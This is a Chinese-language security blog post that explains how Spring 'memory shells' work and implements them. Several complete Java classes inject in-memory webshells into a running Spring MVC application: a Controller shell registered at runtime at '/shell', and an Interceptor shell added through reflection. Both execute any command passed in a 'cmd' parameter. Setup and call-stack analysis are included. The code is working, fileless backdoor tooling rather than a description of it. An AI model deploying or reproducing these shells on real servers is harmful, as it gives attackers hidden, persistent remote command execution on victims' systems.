Java内存马-Spring内存马分析与实现

Java安全

Spring相关知识

Bean

Bean是被Spring容器管理的对象,SpringBoot使用了SpringFramework的依赖注入(DI)和控制反转(IOC)功能,通过注解将对象注册为Bean,使其能够被自动创建、管理和使用

IoC容器

IoC控制反转(Inversion of Control)也称为应用上下文,是Spring框架的核心概念之一,IoC是一种设计模式,它提供了一种将对象的创建和依赖关系的管理从应用程序代码中解耦的方式,负责对象的创建和依赖关系的管理,你只需要通过注解或配置文件告诉Spring容器哪些类需要被管理,Spring容器就会负责创建这些对象,并自动解析和注入它们的依赖关系

ApplicationContext

ApplicationContext是Spring框架中的一个接口,它是Spring IoC容器的核心接口之一,用于管理和组织Spring Bean对象的创建、配置和依赖注入等操作

ApplicationContext接口继承于BeanFactory接口,获取了ApplicationContext的实例就是获取了IoC容器的引用

WebApplicationContext

WebApplicationContext是一个用于管理Web应用程序的Spring框架的上下文,它是Spring框架中的一个重要组件,用于加载和管理应用程序中的所有bean,以及提供对应用程序配置的访问

RootContext & ChildContext

在Spring中,存在两种类型的上下文:Root Context(根上下文)和Child Context(子上下文)

Root Context是WebApplicationContext的一个实例,它代表整个Web应用程序的上下文,它通常在应用程序的启动阶段被创建,并负责加载和管理与整个应用程序相关的bean和配置。Root Context是整个应用程序的父上下文,所有的子上下文都可以访问和继承Root Context中的bean和配置

Child Context是WebApplicationContext的另一个实例,它代表某个特定的模块或子应用程序的上下文,它可以通过Root Context创建,并可以访问和继承Root Context中的bean和配置。子上下文可以有自己的独立配置和特定的bean定义,同时也可以共享Root Context中的bean。

Controller型内存马

注入原理

需要动态注册内存马,那么就和Tomcat内存马类似,我们需要知道如何动态的注册Controller,我们需要做如下的事情:

  1. 获取上下文环境,用来获取Bean
  2. 编写恶意Controller
  3. 配置Controller路径映射

获取上下文环境

获取上下文环境有四种方法

ContextLoader
WebApplicationContext currentWebApplicationContext = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

注册Controller

RequestMappingHandlerMapping

RequestMappingHandlerMapping 是Spring MVC中的核心Bean,用于处理请求映射和路由,RequestMappingHandlerMapping负责解析和处理带有 @RequestMapping 注解的控制器方法,并将其与相应的请求路径进行匹配,它会根据请求的URL路径和其他条件,确定要调用的控制器方法,Spring将Controller解析成 RequestMappingInfo 对象,再注册进RequestMappingHandlerMapping中

RequestMappingHandlerMapping是由Spring进行管理的,所以我们可以直接通过ApplicationContext来获取这个Bean

registerMapping

registerMapping 方法用于在Web应用程序中注册URL映射,它可以将一个URL路径映射到一个特定的Controller方法,以便处理该URL的请求

PatternsRequestCondition

PatternsRequestCondition类用于表示请求URL的匹配条件,类似在SpringBoot中通过 @RequestMapping 来指定某个Controller的访问路径

@RequestMapping(value = "/users")
RequestMethodsRequestCondition

RequestMethodsRequestCondition类用于表示请求方法(HTTP Method)的匹配条件,类似在注解 @RequestMapping 配置允许的请求方法

@RequestMapping(value = "/users", method = {RequestMethod.GET, RequestMethod.POST})
RequestMappingInfo

RequestMappingInfo类用于表示请求映射的详细信息,该类将请求路径和HTTP方法进行关联,在处理请求时,可以根据请求的URL、HTTP方法等信息,来匹配对应的RequestMappingInfo对象

实现恶意Controller

class ControllerMemShell {
    public ControllerMemShell() {}
    public void cmd() throws IOException {
        HttpServletRequest request =
                (HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

Controller内存马实现

package com.example.springmemshell;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@RestController
public class ControllerShell {
    @RequestMapping("/controller")
    public void main() throws NoSuchMethodException, IOException {
        // 获取WebApplicationContext
        WebApplicationContext context =
                (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 获取RequestMappingHandlerMapping的Bean对象
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 通过反射获取恶意Controller的某个方法
        Method method = ControllerMemShell.class.getDeclaredMethod("cmd");
        // 指定controller访问URL
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 定义允许访问controller的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 定义请求映射的详细信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 注册请求信息
        r.registerMapping(info, new ControllerMemShell(), method);
    }

    class ControllerMemShell {
        public ControllerMemShell() {}
        public void cmd() throws IOException {
            HttpServletRequest request =
                    (HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
}

根据上面对Controller注册的了解,我们就可以写出Controller内存马

package com.example.springmemshell;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.config.annotation.PathMatchConfigurer;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@RestController
public class ControllerShell implements WebMvcConfigurer {
    @RequestMapping("/controller")

    public void main() throws NoSuchMethodException, IOException {
        WebApplicationContext context =
                (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        Method method = ControllerMemShell.class.getDeclaredMethod("cmd");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        r.registerMapping(info, new ControllerMemShell(), method);
    }

    @Override
    public void configurePathMatch(PathMatchConfigurer configurer) {
        configurer.setPathMatcher(new org.springframework.util.AntPathMatcher());
    }

    class ControllerMemShell {
        public ControllerMemShell() {}
        public void cmd() throws IOException {
            HttpServletRequest request =
                    (HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
}

在SpringBoot2.6.0版本开始,官方修改了URL路径的默认匹配策略,需要在 application.properties 中配置如下信息:

spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER

或者在不改配置的前提下,将这个恶意Controller内存马实现 WebMvcConfigurer 接口,重写 configurePathMatch 方法来修改配置

Interceptor型内存马

Interceptor(拦截器)是Spring MVC框架中用于处理请求的一个重要组件,拦截器允许在控制器处理请求之前和之后执行自定义的逻辑,它提供了一种在请求处理过程中进行预处理和后处理的机制,以实现一些通用的功能和行为,例如身份验证、日志记录、数据转换等

在Spring MVC中有三个拦截器接口:

  1. HandlerInterceptor 这是最常用的拦截器接口,用于拦截请求并进行处理
  2. HandlerInterceptorAdapter 是一个适配器类,实现了 HandlerInterceptor 接口,并提供了空实现的方法,可以通过继承该类来自定义拦截器
  3. WebRequestInterceptor 是一个更底层的拦截器接口,它不仅可以拦截请求,还可以拦截异步请求和WebSocket请求

实现恶意Interceptor

我们选择使用 HandlerInterceptor 接口来实现自定义拦截器,该接口有三个方法

preHandle 方法在请求处理之前进行拦截

postHandle 方法在请求处理之后进行拦截

afterCompletion 方法在整个请求完成之后进行拦截

import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class InterceptorShell implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null){
            Runtime.getRuntime().exec(cmd);
            return true;
        }
        return false;
    }
}

我们编写了一个类,实现了 HandlerInterceptor 接口并重写 preHandle 方法,这里我们选择在请求处理之前执行恶意代码

由于我们现在还没有动态的将我们自定义的拦截器添加到拦截器列表中,所以我们目前需要手动的配置SpringMVC配置文件

在SpringMVC配置文件中配置拦截器

<mvc:interceptors>
    <mvc:interceptor>
        <mvc:mapping path="/*"/>
        <bean class="com.InterceptorShell"/>
    </mvc:interceptor>
</mvc:interceptors>

再写一个普通的Controller,用于请求Controller从而触发拦截器

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {
    @RequestMapping("/index")
    @ResponseBody
    public String index(){
        return "Index Page";
    }
}

当我们访问路径为 /index 控制器时,会触发我们写的自定义拦截器的 preHandle 方法,接着我们就可以直接在后面加上 cmd 参数执行命令了

image-20230913152314628

调用栈分析

preHandle:10, InterceptorShell (com)
applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

image-20230913151403775

当我们访问某个Controller时,就会调用自定义拦截器 InterceptorShell 类的 preHandle 方法

image-20230913152903141

从调用栈上可以看出在HttpServelt类的service方法中调用的是SpringMVC的FrameworkServlet类的service方法,我们直接看关键方法 doDispatch,该方法用于实际处理请求的分发和调度

image-20230913152722336

image-20230913152805401

在该方法中调用了 mappedHandlerapplyPreHandle 方法,往上找发现 mappedHandler 是通过调用 getHandler 方法获得的

image-20230913160726030

image-20230913160735967

getHandler 方法中,循环遍历了 handlerMappings 属性的对象并调用了 getHandler 方法

image-20230913162722374

调用 RequestMappingHandlerMappinggetHandler 方法时,其实会调用到 AbstractHandlerMethodMappinggetHandler 方法

image-20230913162838774

AbstractHandlerMapping 类的 getHandler 方法中调用了 getHandlerExecuationChain 方法

image-20230913164356124

HandlerExecutionChain用于封装处理器(Handler)及其相关的拦截器(HandlerInterceptor)

这里先实例化 HandlerExecutionChain 类,再循环遍历 adaptedInterceptors 属性,判断每个 interceptor 是否是 MappedInterceptor 对象的实例,我们写的自定义拦截器不是 MappedInterceptor 对象的实例,则调用 chain 对象的 addInterceptor 方法

image-20230913165457215

HandlerExecutionChain 类的 addInterceptor 方法中,调用了 interceptorList 属性的 add 方法,而每个List元素都是 HandlerInterceptor 对象,拦截器链是按照添加顺序依次执行的,在这里就是向拦截器链中添加一个 HandlerInterceptor 实例

注册Interceptor

根据上面的分析,我们大概知道如何来注册Interceptor了,大致流程如下:

  1. 获取 AbstractHandlerMapping 类的 adaptedInterceptors 属性
  2. 编写一个自定义恶意Interceptor拦截器类
  3. 将自定义恶意Interceptor拦截器对象添加到 adaptedInterceptors 属性中

只要添加到 adaptedInterceptors 属性中了,就能在拦截器链中按顺序执行拦截器

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

@Controller
public class InterceptorMemShell {
    @ResponseBody
    @RequestMapping("/interceptor")
    public String RegisterInterceptor() throws NoSuchFieldException, IllegalAccessException {
        // 获取上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        // 获取AbstractHandlerMapping对象并获取adaptedInterceptors私有属性
        AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        adaptedInterceptorsField.setAccessible(true);
        List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(abstractHandlerMapping);

        // 将自定义拦截器对象添加到adaptedInterceptors属性中
        InterceptorShell interceptorShell = new InterceptorShell();
        adaptedInterceptors.add(interceptorShell);
        return "Inject Success!";
    }

    class InterceptorShell implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null){
                Runtime.getRuntime().exec(cmd);
                return true;
            }
            return false;
        }
    }
}

image-20230913192402517

按照上面的步骤编写代码,先访问 /interceptor 路径,再访问该路径时带上 cmd 参数即可,以上就是Interceptor型内存马的分析与实现

Author: wileysec

Permalink: https://wileysec.github.io/6802f3c82607.html

Comments